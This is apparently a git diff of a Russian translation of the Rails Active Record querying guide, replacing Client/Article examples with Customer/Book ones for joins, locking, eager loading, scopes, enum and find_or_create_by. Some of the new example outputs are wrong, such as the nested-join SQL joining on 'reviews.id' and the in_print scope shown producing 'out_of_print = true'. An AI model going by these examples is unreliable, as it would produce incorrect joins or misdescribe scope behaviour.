`trashed` = 1 AND `trashed` = 0 Метод `none` возвращает сцепляемый relation без записей. Любые последующие условия, сцепленные с возвращенным relation, продолжат генерировать пустые relation. Это полезно в случаях, когда необходим сцепляемый отклик на метод или скоуп, который может вернуть пустые результаты. ```ruby -Article.none # возвращает пустой Relation и не вызывает запросов. +Order.none # возвращает пустой Relation и не вызывает запросов. ``` ```ruby -# От метода visible_articles ожидается, что он вернет Relation. -@articles = current_user.visible_articles.where(name: params[:name]) +# От метода highlighted_reviews ожидается, что он вернет Relation. +Book.first.highlighted_reviews.average(:rating) +# => Возвращает средний рейтинг книги -def visible_articles - case role - when 'Country Manager' - Article.where(country: country) - when 'Reviewer' - Article.published - when 'Bad User' - Article.none # => если бы вернули [] или nil, код поломался бы в этом случае +class Book + # Возвращает рецензии, когда их как минимум 5, + # иначе рассматривает эту книгу как не рецензированную + def highlighted_reviews + if reviews.count > 5 + reviews + else + Review.none # Пока не удовлетворяет минимальному порогу + end end end ``` @@ -937,12 +1026,12 @@ end Active Record предоставляет relation метод `readonly` для явного запрета на модификацию любого из возвращаемых объектов. Любая попытка изменить запись, доступную только для чтения, не удастся, вызвав исключение `ActiveRecord::ReadOnlyRecord`. ```ruby -client = Client.readonly.first -client.visits += 1 -client.save +customer = Customer.readonly.first +customer.visits += 1 +customer.save ``` -Так как `client` явно указан как объект доступный только для чтения, выполнение вышеуказанного кода выдаст исключение `ActiveRecord::ReadOnlyRecord` при вызове `client.save` с обновленным значением `visits`. +Так как `customer` явно указан как объект доступный только для чтения, выполнение вышеуказанного кода выдаст исключение `ActiveRecord::ReadOnlyRecord` при вызове `customer.save` с обновленным значением `visits`. Блокировка записей для обновления --------------------------------- @@ -960,16 +1049,18 @@ Active Record предоставляет два механизма блокир **Столбец оптимистической блокировки** -Чтобы начать использовать оптимистическую блокировку, таблица должна иметь столбец, называющийся `lock_version`, с типом integer. Каждый раз, когда запись обновляется, Active Record увеличивает значение `lock_version`, и средства блокирования обеспечивают, что для записи, вызванной дважды, та, которая первая успеет, будет сохранена, а для второй будет вызвано исключение `ActiveRecord::StaleObjectError`. Пример: +Чтобы начать использовать оптимистическую блокировку, таблица должна иметь столбец, называющийся `lock_version`, с типом integer. Каждый раз, когда запись обновляется, Active Record увеличивает значение `lock_version`, и средства блокирования обеспечивают, что для записи, вызванной дважды, та, которая первая успеет, будет сохранена, а для второй будет вызвано исключение `ActiveRecord::StaleObjectError`. + +Например: ```ruby -c1 = Client.find(1) -c2 = Client.find(1) +c1 = Customer.find(1) +c2 = Customer.find(1) -c1.first_name = "Michael" +c1.first_name = "Sandra" c1.save -c2.name = "should fail" +c2.first_name = "Michael" c2.save # вызывает исключение ActiveRecord::StaleObjectError ``` @@ -980,8 +1071,8 @@ c2.save # вызывает исключение ActiveRecord::StaleObjectError Для переопределения имени столбца `lock_version`, `ActiveRecord::Base` предоставляет атрибут класса `locking_column`: ```ruby -class Client < ApplicationRecord - self.locking_column = :lock_client_column +class Customer < ApplicationRecord + self.locking_column = :lock_customer_column end ``` @@ -992,10 +1083,10 @@ end Например: ```ruby -Item.transaction do - i = Item.lock.first - i.name = 'Jones' - i.save! +Book.transaction do + book = Book.lock.first + book.title = 'Algorithms, second edition' + book.save! end ``` @@ -1003,28 +1094,30 @@ end ```sql SQL (0.2ms) BEGIN -Item Load (0.3ms) SELECT * FROM `items` LIMIT 1 FOR UPDATE -Item Update (0.4ms) UPDATE `items` SET `updated_at` = '2009-02-07 18:05:56', `name` = 'Jones' WHERE `id` = 1 +Book Load (0.3ms) SELECT * FROM `books` LIMIT 1 FOR UPDATE +Book Update (0.4ms) UPDATE `books` SET `updated_at` = '2009-02-07 18:05:56', `title` = 'Algorithms, second edition' WHERE `id` = 1 SQL (0.8ms) COMMIT ``` Также можно передать чистый SQL в опцию `lock` для разрешения различных типов блокировок. Например, в MySQL есть выражение, называющееся `LOCK IN SHARE MODE`, которым можно заблокировать запись, но все же разрешить другим запросам читать ее. Чтобы указать это выражения, просто передайте его как опцию блокировки: ```ruby -Item.transaction do - i = Item.lock("LOCK IN SHARE MODE").find(1) - i.increment!(:views) +Book.transaction do + book = Book.lock("LOCK IN SHARE MODE").find(1) + book.increment!(:views) end ``` +NOTE: Отметьте, что ваша база данных должна поддерживать SQL, который вы передаете в метод `lock`. + Если у вас уже имеется экземпляр модели, можно одновременно начать транзакцию и затребовать блокировку, используя следующий код: ```ruby -item = Item.first -item.with_lock do +book = Book.first +book.with_lock do # Этот блок вызывается в транзакции, - # элемент уже заблокирован. - item.increment!(:views) + # книга уже заблокирован. + book.increment!(:views) end ``` @@ -1042,112 +1135,86 @@ Active Record предоставляет два метода поиска для Можно просто передать чистый SQL, определяющий условие `JOIN` в `joins`. ```ruby -Author.joins("INNER JOIN posts ON posts.author_id = authors.id AND posts.published = 't'") +Author.joins("INNER JOIN books ON books.author_id = authors.id AND books.out_of_print = FALSE") ``` Это приведет к следующему SQL: ```sql -SELECT authors.* FROM authors INNER JOIN posts ON posts.author_id = authors.id AND posts.published = 't' +SELECT authors.* FROM authors INNER JOIN books ON books.author_id = authors.id AND books.out_of_print = FALSE ``` #### Использование массива/хэша именованных связей Active Record позволяет использовать имена [связей](/active-record-associations), определенных в модели, как ярлыки для определения условия `JOIN` этих связей при использовании метода `joins`. -Например, рассмотрим следующие модели `Category`, `Article`, `Comment`, `Guest` и `Tag`: - -```ruby -class Category < ApplicationRecord - has_many :articles -end - -class Article < ApplicationRecord - belongs_to :category - has_many :comments - has_many :tags -end - -class Comment < ApplicationRecord - belongs_to :article - has_one :guest -end - -class Guest < ApplicationRecord - belongs_to :comment -end - -class Tag < ApplicationRecord - belongs_to :article -end -``` - -Сейчас все нижеследующее создаст ожидаемые соединительные запросы с использованием `INNER JOIN`: +Все нижеследующее создаст ожидаемые соединительные запросы с использованием `INNER JOIN`: ##### Соединение одиночной связи ```ruby -Category.joins(:articles) +Book.joins(:reviews) ``` Это создаст: ```sql -SELECT categories.* FROM categories - INNER JOIN articles ON articles.category_id = categories.id +SELECT books.* FROM books + INNER JOIN reviews ON reviews.book_id = books.id ``` -Или, по-русски, "возвратить объект Category для всех категорий со статьями". Обратите внимание, что будут дублирующиеся категории, если более одной статьи имеют одинаковые категорию. Если нужны уникальные категории, можно использовать `Category.joins(:articles).distinct`. +Или, по-русски, "возвратить объект Book для всех книг с рецензиями". Обратите внимание, что будут дублирующиеся книги, если у книги больше одной рецензии. Если нужны уникальные книги, можно использовать `Book.joins(:reviews).distinct`. #### Соединение нескольких связей ```ruby -Article.joins(:category, :comments) +Book.joins(:author, :reviews) ``` Это создаст: ```sql -SELECT articles.* FROM articles - INNER JOIN categories ON categories.id = articles.category_id - INNER JOIN comments ON comments.article_id = articles.id +SELECT books.* FROM books + INNER JOIN authors ON authors.id = books.author_id + INNER JOIN reviews ON reviews.book_id = books.id ``` -Или, по-русски, "возвратить все статьи, у которых есть категория и как минимум один комментарий". Отметьте, что статьи с несколькими комментариями будут показаны несколько раз. +Или, по-русски, "возвратить все книги, у которых есть автор и как минимум одна рецензия". Снова отметьте, что книги с несколькими рецензиями будут показаны несколько раз. ##### Соединение вложенных связей (одного уровня) ```ruby -Article.joins(comments: :guest) +Book.joins(reviews: :customer) ``` Это создаст: ```sql -SELECT articles.* FROM articles - INNER JOIN comments ON comments.article_id = articles.id - INNER JOIN guests ON guests.comment_id = comments.id +SELECT books.* FROM books + INNER JOIN reviews ON reviews.book_id = book.id + INNER JOIN customer ON customers.id = reviews.id ``` -Или, по-русски, "возвратить все статьи, в которых есть комментарий, оставленный гостем". +Или, по-русски, "возвратить все книги, у которых есть рецензия покупателя". ##### Соединение вложенных связей (разных уровней) ```ruby -Category.joins(articles: [{ comments: :guest }, :tags]) +Author.joins(books: [{reviews: { customer: :orders} }, :supplier] ) ``` Это создаст: ```sql -SELECT categories.* FROM categories - INNER JOIN articles ON articles.category_id = categories.id - INNER JOIN comments ON comments.article_id = articles.id - INNER JOIN guests ON guests.comment_id = comments.id - INNER JOIN tags ON tags.article_id = articles.id +SELECT * FROM authors + INNER JOIN books ON books.author_id = authors.id + INNER JOIN reviews ON reviews.book_id = books.id + INNER JOIN customers ON customers.id = reviews.customer_id + INNER JOIN orders ON orders.customer_id = customers.id +INNER JOIN suppliers ON suppliers.id = books.supplier_id ``` -Или, по-русски: "возвратить все категории, в которых есть статьи, и в этих статьях есть комментарий, оставленный гостем, а также в этих статьях есть тег". +Или, по-русски: "возвратить всех авторов, у которых есть книги с рецензиями покупателей, делавших заказы, а также поставщики для этих книг". #### Определение условий в соединительных таблицах @@ -1155,34 +1222,36 @@ SELECT categories.* FROM categories ```ruby time_range = (Time.now.midnight - 1.day)..Time.now.midnight -Client.joins(:orders).where('orders.created_at' => time_range) +Customer.joins(:orders).where('orders.created_at' => time_range) ``` +Это найдет всех покупателей, сделавших вчера заказы, используя выражение SQL `BETWEEN` для сравнения `created_at`. + Альтернативный и более чистый синтаксис для этого - вложенные хэш-условия: ```ruby time_range = (Time.now.midnight - 1.day)..Time.now.midnight -Client.joins(:orders).where(orders: { created_at: time_range }) +Customer.joins(:orders).where(orders: { created_at: time_range }) ``` -Будут найдены все клиенты, имеющие созданные вчера заказы, снова используя выражение SQL `BETWEEN`. +Это найдет всех покупателей, сделавших вчера заказы, снова используя выражение SQL `BETWEEN`. ### `left_outer_joins` Если хотите выбрать ряд записей, независимо от того, имеют ли они связанные записи, можно использовать метод `left_outer_joins`. ```ruby -Author.left_outer_joins(:posts).distinct.select('authors.*, COUNT(posts.*) AS posts_count').group('authors.id') +Customer.left_outer_joins(:reviews).distinct.select('customers.*, COUNT(reviews.*) AS reviews_count').group('customers.id') ``` Который создаст: ```sql -SELECT DISTINCT authors.*, COUNT(posts.*) AS posts_count FROM "authors" -LEFT OUTER JOIN posts ON posts.author_id = authors.id GROUP BY authors.id +SELECT DISTINCT customers.*, COUNT(reviews.*) AS reviews_count FROM customers +LEFT OUTER JOIN reviews ON reviews.customer_id = customers.id GROUP BY customers.id ``` -Что означает: "возвратить всех авторов и количество их публикаций, независимо от того, имеются ли у них вообще публикации". +Что означает: "возвратить всех покупателей и количество их рецензий, независимо от того, имеются ли у них вообще рецензии". Нетерпеливая загрузка связей ---------------------------- @@ -1191,38 +1260,38 @@ LEFT OUTER JOIN posts ON posts.author_id = authors.id GROUP BY authors.id **Проблема N + 1 запроса** -Рассмотрим следующий код, который находит 10 клиентов и выводит их почтовые индексы: +Рассмотрим следующий код, который находит 10 книг и выводит фамилии их авторов: ```ruby -clients = Client.limit(10) +books = Book.limit(10) -clients.each do |client| - puts client.address.postcode +books.each do |book| + puts book.author.last_name end ``` -На первый взгляд выглядит хорошо. Но проблема лежит в общем количестве выполненных запросов. Вышеупомянутый код выполняет 1 (чтобы найти 10 клиентов) + 10 (каждый на одного клиента для загрузки адреса) = итого **11** запросов. +На первый взгляд выглядит хорошо. Но проблема лежит в общем количестве выполненных запросов. Вышеупомянутый код выполняет 1 (чтобы найти 10 книг) + 10 (каждый на одну книгу для загрузки автора) = итого **11** запросов. **Решение проблемы N + 1 запроса** Active Record позволяет заранее указать все связи, которые должны быть загружены. Это возможно с помощью указания метода `includes` на вызове `Model.find`. Посредством `includes`, Active Record обеспечивает то, что все указанные связи загружаются с использованием минимально возможного количества запросов. -Пересмотрев вышеупомянутую задачу, можно переписать `Client.limit(10)`, чтобы нетерпеливо загрузить адреса: +Пересмотрев вышеупомянутую задачу, можно переписать `Book.limit(10)`, чтобы нетерпеливо загрузить авторов: ```ruby -clients = Client.includes(:address).limit(10) +books = Book.includes(:author).limit(10) -clients.each do |client| - puts client.address.postcode +books.each do |book| + puts book.author.last_name end ``` Этот код выполнит всего **2** запроса, вместо **11** запросов из прошлого примера: ```sql -SELECT * FROM clients LIMIT 10 -SELECT addresses.* FROM addresses - WHERE (addresses.client_id IN (1,2,3,4,5,6,7,8,9,10)) +SELECT * FROM books LIMIT 10 +SELECT authors.* FROM authors + WHERE (authors.id IN (1,2,3,4,5,6,7,8,9,10)) ``` ### Нетерпеливая загрузка нескольких связей @@ -1232,18 +1301,18 @@ Active Record позволяет нетерпеливо загружать лю #### Массив нескольких связей ```ruby -Article.includes(:category, :comments) +Customer.includes(:orders, :reviews) ``` -Это загрузит все статьи и связанные категорию, и комментарии для каждой статьи. +Это загрузит всех покупателей и связанные заказы и рецензии для каждого. #### Вложенный хэш связей ```ruby -Category.includes(articles: [{ comments: :guest }, :tags]).find(1) +Customer.includes(orders: {books: [:supplier, :author]}).find(1) ``` -Вышеприведенный код находит категории с id 1 и нетерпеливо загружает все связанные статьи, теги и комментарии каждой статьи, а также гостей, связанных с комментариями. +Вышеприведенный код находит покупателя с id 1 и нетерпеливо загружает все связанные заказы для него, книги для всех заказов, и автора и поставщика каждой книги. ### Определение условий для нетерпеливой загрузки связей @@ -1252,14 +1321,13 @@ Category.includes(articles: [{ comments: :guest }, :tags]).find(1) Однако, если сделать так, то можно использовать `where` как обычно. ```ruby -Article.includes(:comments).where(comments: { visible: true }) +Author.includes(:books).where(books: { out_of_print: true }) ``` Это сгенерирует запрос с ограничением `LEFT OUTER JOIN`, в то время как метод `joins` сгенерировал бы его с использованием функции `INNER JOIN`. ```ruby - SELECT "articles"."id" AS t0_r0, ... "comments"."updated_at" AS t1_r5 FROM "articles" - LEFT OUTER JOIN "comments" ON "comments"."article_id" = "articles"."id" WHERE (comments.visible = 1) + SELECT authors.id AS t0_r0, ... books.updated_at AS t1_r5 FROM authors LEFT OUTER JOIN "books" ON "books"."author_id" = "authors"."id" WHERE (books.out_of_print = 1) ``` Если бы не было условия `where`, то сгенерировался бы обычный набор из двух запросов. @@ -1267,10 +1335,10 @@ Article.includes(:comments).where(comments: { visible: true }) NOTE: Использование `where` подобным образом будет работать только, если передавать в него хэш. Для фрагментов SQL необходимо использовать `references` для принуждения соединения таблиц: ```ruby -Article.includes(:comments).where("comments.visible = true").references(:comments) +Author.includes(:books).where("books.out_of_print = true").references(:books) ``` -Если, в случае с этим запросом `includes`, не будет ни одного комментария ни для одной статьи, все статьи все равно будут загружены. При использовании `joins` (INNER JOIN), соединительные условия **должны** соответствовать, иначе ни одной записи не будет возвращено. +Если, в случае с этим запросом `includes`, не будет ни одной книги ни для одного автора, все авторы все равно будут загружены. При использовании `joins` (INNER JOIN), соединительные условия **должны** соответствовать, иначе ни одной записи не будет возвращено. NOTE: Если связь нетерпеливо загружена как часть join, любые поля из произвольного выражения select не будут присутствовать в загруженных моделях. Это так, потому что это избыточность, которая должна появиться или в родительской модели, или в дочерней. @@ -1282,31 +1350,31 @@ NOTE: Если связь нетерпеливо загружена как ча Для определения простого скоупа мы используем метод `scope` внутри класса, передав запрос, который хотим запустить при вызове этого скоупа: ```ruby -class Article < ApplicationRecord - scope :published, -> { where(published: true) } +class Book < ApplicationRecord + scope :out_of_print, -> { where(out_of_print: true) } end ``` -Скоупы также сцепляются с другими скоупами: +Для вызова скоупа `out_of_print`, можно вызвать его либо на классе: ```ruby -class Article < ApplicationRecord - scope :published, -> { where(published: true) } - scope :published_and_commented, -> { published.where("comments_count > 0") } -end +Book.out_of_print # => [все распроданные книги] ``` -Для вызова скоупа `published`, можно вызвать его либо на классе: +Либо на связи, состоящей из объектов `Book`: ```ruby -Article.published # => [опубликованные статьи] +author = Author.first +author.books.out_of_print # => [все распроданные книги этого автора] ``` -Либо на связи, состоящей из объектов `Article`: +Скоупы также сцепляются с другими скоупами: ```ruby -category = Category.first -category.articles.published # => [опубликованные статьи, принадлежащие этой категории] +class Book < ApplicationRecord + scope :out_of_print, -> { where(out_of_print: true) } + scope :out_of_print_and_expensive, -> { out_of_print.where("price > 500") } +end ``` ### Передача аргумента @@ -1314,23 +1382,23 @@ category.articles.published # => [опубликованные статьи, п Скоуп может принимать аргументы: ```ruby -class Article < ApplicationRecord - scope :created_before, ->(time) { where("created_at < ?", time) } +class Book < ApplicationRecord + scope :costs_more_than, ->(amount) { where("price > ?", amount) } end ``` Вызывайте скоуп, как будто это метод класса: ```ruby -Article.created_before(Time.zone.now) +Book.costs_more_than(100.10) ``` Однако, это всего лишь дублирование функциональности, которая должна быть предоставлена методом класса. ```ruby -class Article < ApplicationRecord - def self.created_before(time) - where("created_at < ?", time) +class Book < ApplicationRecord + def self.costs_more_than(amount) + where("price > ?", amount) end end ``` @@ -1338,7 +1406,7 @@ end Эти методы также будут доступны на связанных объектах: ```ruby -category.articles.created_before(time) +author.books.costs_more_than(100.10) ``` ### Использование условий @@ -1346,7 +1414,7 @@ category.articles.created_before(time) Ваши скоупы могут использовать условия: ```ruby -class Article < ApplicationRecord +class Order < ApplicationRecord scope :created_before, ->(time) { where("created_at < ?", time) if time.present? } end ``` @@ -1354,7 +1422,7 @@ end Подобно остальным примерам, это ведет себя подобно методу класса. ```ruby -class Article < ApplicationRecord +class Order < ApplicationRecord def self.created_before(time) where("created_at < ?", time) if time.present? end @@ -1368,21 +1436,21 @@ end Если хотите, чтобы скоуп был применен ко всем запросам модели, можно использовать метод `default_scope` в самой модели. ```ruby -class Client < ApplicationRecord - default_scope { where("removed_at IS NULL") } +class Book < ApplicationRecord + default_scope { where(out_of_print: false) } end ``` Когда запросы для этой модели будут выполняться, запрос SQL теперь будет выглядеть примерно так: ```sql -SELECT * FROM clients WHERE removed_at IS NULL +SELECT * FROM books WHERE (out_of_print = false) ``` Если необходимо сделать более сложные вещи со скоупом по умолчанию, альтернативно его можно определить как метод класса: ```ruby -class Client < ApplicationRecord +class Book < ApplicationRecord def self.default_scope # Должен возвращать ActiveRecord::Relation. end @@ -1392,22 +1460,22 @@ end NOTE: `default_scope` также применяется при создании записи, когда аргументы скоупа передаются как `Hash`. Он не применяется при обновлении записи. То есть: ```ruby -class Client < ApplicationRecord - default_scope { where(active: true) } +class Book < ApplicationRecord + default_scope { where(out_of_print: false) } end -Client.new # => # -Client.unscoped.new # => # +Book.new # => # +Book.unscoped.new # => # ``` Имейте в виду, что когда передаются в формате `Array`, аргументы запроса `default_scope` не могут быть преобразованы в `Hash` для назначения атрибутов по умолчанию. То есть: ```ruby -class Client < ApplicationRecord - default_scope { where("active = ?", true) } +class Book < ApplicationRecord + default_scope { where("out_of_print = ?", false) } end -Client.new # => # +Book.new # => # ``` ### Объединение скоупов @@ -1415,46 +1483,50 @@ Client.new # => # Подобно условиям `where`, скоупы объединяются с использованием `AND`. ```ruby -class User < ApplicationRecord - scope :active, -> { where state: 'active' } - scope :inactive, -> { where state: 'inactive' } +class Book < ApplicationRecord + scope :in_print, -> { where(out_of_print: false) } + scope :out_of_print, -> { where(out_of_print: true) } + + scope :recent, -> { where('year_published >= ?', Date.current.year - 50 )} + scope :old, -> { where('year_published < ?', Date.current.year - 50 )} end -User.active.inactive -# SELECT "users".* FROM "users" WHERE "users"."state" = 'active' AND "users"."state" = 'inactive' +Book.out_of_print.old +# SELECT books.* FROM books WHERE books.out_of_print = 'true' AND books.year_published < 1969 ``` Можно комбинировать условия `scope` и `where`, и результирующий SQL будет содержать все условия, соединенные с помощью `AND`. ```ruby -User.active.where(state: 'finished') -# SELECT "users".* FROM "users" WHERE "users"."state" = 'active' AND "users"."state" = 'finished' +Book.in_print.where('price < 100') +# SELECT books.* FROM books WHERE books.out_of_print = 'false' AND books.price < 100 ``` Если необходимо, чтобы сработало только последнее условие `where`, тогда можно использовать `Relation#merge`. ```ruby -User.active.merge(User.inactive) -# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive' +Book.in_print.merge(Book.out_of_print) +# SELECT books.* FROM books WHERE books.out_of_print = true ``` Важным предостережением является то, что `default_scope` переопределяется условиями `scope` и `where`. ```ruby -class User < ApplicationRecord - default_scope { where state: 'pending' } - scope :active, -> { where state: 'active' } - scope :inactive, -> { where state: 'inactive' } +class Book < ApplicationRecord + default_scope { where('year_published >= ?', Date.current.year - 50 )} + + scope :in_print, -> { where(out_of_print: false) } + scope :out_of_print, -> { where(out_of_print: true) } end -User.all -# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' +Book.all +# SELECT books.* FROM books WHERE (year_published >= 1969) -User.active -# SELECT "users".* FROM "users" WHERE "users"."state" = 'active' +Book.in_print +# SELECT books.* FROM books WHERE (year_published >= 1969) AND books.out_of_print = true -User.where(state: 'inactive') -# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive' +Book.where('price > 50') +# SELECT books.* FROM books WHERE (year_published >= 1969) AND (price > 50) ``` Как видите, `default_scope` объединяется как со `scope`, так и с `where` условиями. @@ -1464,114 +1536,135 @@ User.where(state: 'inactive') Если хотите удалить скоупы по какой-то причине, можете использовать метод `unscoped`. Это особенно полезно, если в модели определен `default_scope`, и он не должен быть применен для конкретно этого запроса. ```ruby -Client.unscoped.load +Book.unscoped.load ``` Этот метод удаляет все скоупы и выполняет обычный запрос к таблице. ```ruby -Client.unscoped.all -# SELECT "clients".* FROM "clients" +Book.unscoped.all +# SELECT books.* FROM books -Client.where(published: false).unscoped.all -# SELECT "clients".* FROM "clients" +Book.where(out_of_print: true).unscoped.all +# SELECT books.* FROM books ``` -`unscoped` также может принимать блок. +`unscoped` также может принимать блок: ```ruby -Client.unscoped { - Client.created_before(Time.zone.now) +Book.unscoped { + Book.out_of_print } +# SELECT books.* FROM books WHERE books.out_of_print ``` (dynamic-finders) Динамический поиск ------------------------------------ -Для каждого поля (также называемого атрибутом), определенного в вашей таблице, Active Record предоставляет метод поиска. Например, если есть поле `first_name` в вашей модели `Client`, вы автоматически получаете `find_by_first_name` от Active Record. Если также есть поле `locked` в модели `Client`, вы также получаете `find_by_locked` метод. +Для каждого поля (также называемого атрибутом), определенного в вашей таблице, Active Record предоставляет метод поиска. Например, если есть поле `first_name` в вашей модели `Customer`, вы автоматически получаете `find_by_first_name` от Active Record. Если также есть поле `locked` в модели `Customer`, вы также получаете `find_by_locked` метод. + +Можете определить восклицательный знак (`!`) в конце динамического поиска, чтобы он вызвал ошибку `ActiveRecord::RecordNotFound`, если не возвратит ни одной записи, например так `Customer.find_by_name!("Ryan")` + +Если хотите искать и по `name`, и по `orders_count`, можете сцепить эти поиски вместе, просто написав "`and`" между полями, например, `Customer.find_by_first_name_and_orders_count("Ryan", 5)`. + +Перечисление +------------ + +`enum` позволяет определить массив значений для атрибута, и ссылаться на них по имени. Фактическим значением, хранимым в базе данных, будет целое число, соответствующее одному из значений. -Можете определить восклицательный знак (`!`) в конце динамического поиска, чтобы он вызвал ошибку `ActiveRecord::RecordNotFound`, если не возвратит ни одной записи, например так `Client.find_by_name!("Ryan")` +Объявление перечисления: -Если хотите искать и по first_name, и по locked, можете сцепить эти поиски вместе, просто написав "`and`" между полями, например, `Client.find_by_first_name_and_locked("Ryan", true)`. +* Создаст скоупы, которые можно использовать для поиска всех объектов имеющих или не имеющих одно из значений перечисления +* Создаст метод экземпляра, который можно использовать для определения, имеет ли объект определенное значение для перечисления +* Создаст метод экземпляра, который можно использовать для изменения значения перечисления у объекта -Enum ----- +для каждого возможного значения `enum`. -Макрос `enum` связывает числовой столбец с набором возможных значений. +Например, дано это определение example `enum`: ```ruby -class Book < ApplicationRecord - enum availability: [:available, :unavailable] +class Order < ApplicationRecord + enum status: [:shipped, :being_packaged, :complete, :cancelled] end ``` -Это автоматически создаст соответствующие [скоупы](#scopes) для запроса модели. Также добавляются методы для перехода между состояниями и запроса текущего состояния. +Эти [скоупы](#scopes) будут автоматически созданы, и их можно использовать, чтобы найти все объекты с или без определенного значения для `status`. ```ruby -# Оба примера ниже запрашивают только доступные книги. -Book.available -# или -Book.where(availability: :available) +Order.shipped +# находит все заказы со status == :shipped +Order.not_shipped +# находит все заказы со status != :shipped +... +``` + +Эти методы экземпляра создаются автоматически и запрашивают, имеет ли модель это значение для перечисления `status`: + +```ruby +order = Order.first +order.shipped? +# Возвращает true если status == :shipped +order.complete? +# Возвращает true если status == :complete +... +``` + +Эти методы экземпляра создаются автоматически, и сначала обновляют значение `status` на названное значение, а затем запрашивают, был ли успешно установлен статус: -book = Book.new(availability: :available) -book.available? # => true -book.unavailable! # => true -book.available? # => false +```ruby +order = Order.first +order.shipped! +# => UPDATE "orders" SET "status" = ?, "updated_at" = ? WHERE "orders"."id" = ? [["status", 0], ["updated_at", "2019-01-24 07:13:08.524320"], ["id", 1]] +# => true +... ``` -Полную документацию об enum можно прочитать в [документации Rails API](https://api.rubyonrails.org/classes/ActiveRecord/Enum.html). +Полную документацию об enum можно найти в [документации Rails API](https://api.rubyonrails.org/classes/ActiveRecord/Enum.html). (Method Chaining) Цепочки методов --------------------------------- -В Active Record есть полезный приём программирования [Method Chaining](https://en.wikipedia.org/wiki/Method_chaining), -который позволяет нам комбинировать множество Active Record методов. +В Active Record есть полезный приём программирования [Method Chaining](https://en.wikipedia.org/wiki/Method_chaining), который позволяет нам комбинировать множество Active Record методов. -Можно сцепить несколько методов в единое выражение, если предыдущий вызываемый метод возвращает -`ActiveRecord::Relation`, такие как `all`, `where` и `joins`. Методы, которые возвращают одиночный объект -(смотрите раздел [Получение одиночного объекта](#poluchenie-odinochnogo-ob-ekta)) должны вызываться в конце. +Можно сцепить несколько методов в единое выражение, если предыдущий вызываемый метод возвращает `ActiveRecord::Relation`, такие как `all`, `where` и `joins`. Методы, которые возвращают одиночный объект (смотрите раздел [Получение одиночного объекта](#poluchenie-odinochnogo-ob-ekta)) должны вызываться в конце. -Ниже представлены несколько примеров. Это руководство не покрывает все возможности, а только некоторые, для ознакомления. -Когда вызывается Active Record метод, запрос не сразу генерируется и отправляется в базу, -это происходит только тогда, когда данные реально необходимы. Таким образом, каждый пример ниже генерирует только один запрос. +Ниже представлены несколько примеров. Это руководство не покрывает все возможности, а только некоторые, для ознакомления. Когда вызывается Active Record метод, запрос не сразу генерируется и отправляется в базу. Запрос посылается только тогда, когда данные реально необходимы. Таким образом, каждый пример ниже генерирует только один запрос. ### Получение отфильтрованных данных из нескольких таблиц ```ruby -Person - .select('people.id, people.name, comments.text') - .joins(:comments) - .where('comments.created_at > ?', 1.week.ago) +Customer + .select('customers.id, customers.last_name, reviews.body') + .joins(:reviews) + .where('reviews.created_at > ?', 1.week.ago) ``` Результат должен быть примерно следующим: ```sql -SELECT people.id, people.name, comments.text -FROM people -INNER JOIN comments - ON comments.person_id = people.id -WHERE comments.created_at > '2015-01-01' +SELECT customers.id, customers.last_name, reviews.body +FROM customers +INNER JOIN reviews + ON reviews.customer_id = customers.id +WHERE (reviews.created_at > '2019-01-08') ``` ### Получение определённых данных из нескольких таблиц ```ruby -Person - .select('people.id, people.name, companies.name') - .joins(:company) - .find_by('people.name' => 'John') # это должно быть в конце +Book.select('books.id, books.title, authors.first_name') + .joins(:author) + .find_by(title: 'Abstraction and Specification in Program Development') ``` Выражение выше, сгенерирует следующий SQL-запрос: ```sql -SELECT people.id, people.name, companies.name -FROM people -INNER JOIN companies - ON companies.person_id = people.id -WHERE people.name = 'John' -LIMIT 1 +SELECT books.id, books.title, authors.first_name +FROM books +INNER JOIN authors + ON authors.id = books.author_id +WHERE books.title = $1 [["title", "Abstraction and Specification in Program Development"]] ``` NOTE: Обратите внимание, что если запросу соответствует несколько записей, `find_by` вернет только первую запись и проигнорирует остальные (смотрите `LIMIT 1` выше). @@ -1585,43 +1678,43 @@ NOTE: Обратите внимание, что если запросу соот Метод `find_or_create_by` проверяет, существует ли запись с определенными атрибутами. Если нет, то вызывается `create`. Давайте рассмотрим пример. -Предположим, вы хотите найти клиента по имени 'Andy', и, если такого нет, создать его. Это можно сделать, выполнив: +Предположим, вы хотите найти покупателя по имени 'Andy', и, если такого нет, создать его. Это можно сделать, выполнив: ```ruby -Client.find_or_create_by(first_name: 'Andy') -# => # +Customer.find_or_create_by(first_name: 'Andy') +# => #Customer id: 5, first_name: "Andy", last_name: nil, title: nil, visits: 0, orders_count: nil, lock_version: 0, created_at: "2019-01-17 07:06:45", updated_at: "2019-01-17 07:06:45" ``` SQL, генерируемый этим методом, будет выглядеть так: ```sql -SELECT * FROM clients WHERE (clients.first_name = 'Andy') LIMIT 1 +SELECT * FROM customers WHERE (customers.first_name = 'Andy') LIMIT 1 BEGIN -INSERT INTO clients (created_at, first_name, locked, orders_count, updated_at) VALUES ('2011-08-30 05:22:57', 'Andy', 1, NULL, '2011-08-30 05:22:57') +INSERT INTO customers (created_at, first_name, locked, orders_count, updated_at) VALUES ('2011-08-30 05:22:57', 'Andy', 1, NULL, '2011-08-30 05:22:57') COMMIT ``` -`find_or_create_by` возвращает либо уже существующую запись, либо новую запись. В нашем случае, у нас еще нет клиента с именем Andy, поэтому запись будет создана и возвращена. +`find_or_create_by` возвращает либо уже существующую запись, либо новую запись. В нашем случае, у нас еще нет покупателя с именем Andy, поэтому запись будет создана и возвращена. Новая запись может быть не сохранена в базу данных; это зависит от того, прошли валидации или нет (подобно `create`). -Предположим, мы хотим установить атрибут 'locked' как `false`, если создаем новую запись, но не хотим включать его в запрос. Таким образом, мы хотим найти клиента по имени "Andy" или, если этот клиент не существует, создать клиента по имени "Andy", который не заблокирован. +Предположим, мы хотим установить атрибут 'locked' как `false`, если создаем новую запись, но не хотим включать его в запрос. Таким образом, мы хотим найти покупателя по имени "Andy" или, если этот покупатель не существует, создать покупателя по имени "Andy", который не заблокирован. Этого можно достичь двумя способами. Первый - это использование `create_with`: ```ruby -Client.create_with(locked: false).find_or_create_by(first_name: 'Andy') +Customer.create_with(locked: false).find_or_create_by(first_name: 'Andy') ``` Второй способ - это использование блока: ```ruby -Client.find_or_create_by(first_name: 'Andy') do |c| +Customer.find_or_create_by(first_name: 'Andy') do |c| c.locked = false end ``` -Блок будет выполнен, только если клиент был создан. Во второй раз, при запуске этого кода, блок будет проигнорирован. +Блок будет выполнен, только если покупателя был создан. Во второй раз, при запуске этого кода, блок будет 